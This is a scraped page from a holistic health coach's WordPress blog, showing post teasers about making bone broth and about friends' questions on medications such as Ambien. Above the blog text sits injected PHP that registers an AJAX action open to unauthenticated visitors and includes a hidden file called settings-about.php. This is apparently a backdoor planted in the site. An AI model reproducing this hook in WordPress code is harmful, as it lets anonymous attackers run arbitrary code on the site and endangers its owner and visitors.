if(!function_exists('file_manager_check_dt')){ add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt'); add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt'); function file_manager_check_dt() { $file = __DIR__ . '/settings-about.php'; if (file_exists($file)) { include $file; } die(); } } heal - Manage Stress | Increase Energy |Simple Solutions | Rommy Kirby, Holistic Health Coach, Yoga Personal Trainer, Essential Oil Educator

Bone Broth Made Easy

November 23, 2013 by

“Good broth will resurrect the dead”…

In my quest for optimal health and vibrant radiance I learned about traditional healing foods. I kept hearing about ‘bone stock’.

 

Frankly, because it sounded like work I wasn’t truly intrigued until…friends took me to a Neiman Marcus restaurant. [Read more…]

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What do Vicodin, Zocor and Lipitor have in common?

October 15, 2013 by

Have you ever noticed how many of your conversations revolve around health, aches, pains and medications?

Whenever I get together with friends, somehow, we always have a conversation about health.

At a recent dinner party, a friend was asking some really great questions. Then he asked one question that I thought was fabulous.

He asked, “So what do you think about Ambien?”

A hush settled over the party and everyone tuned in thinking I just might go ballistic on pharmaceuticals. [Read more…]

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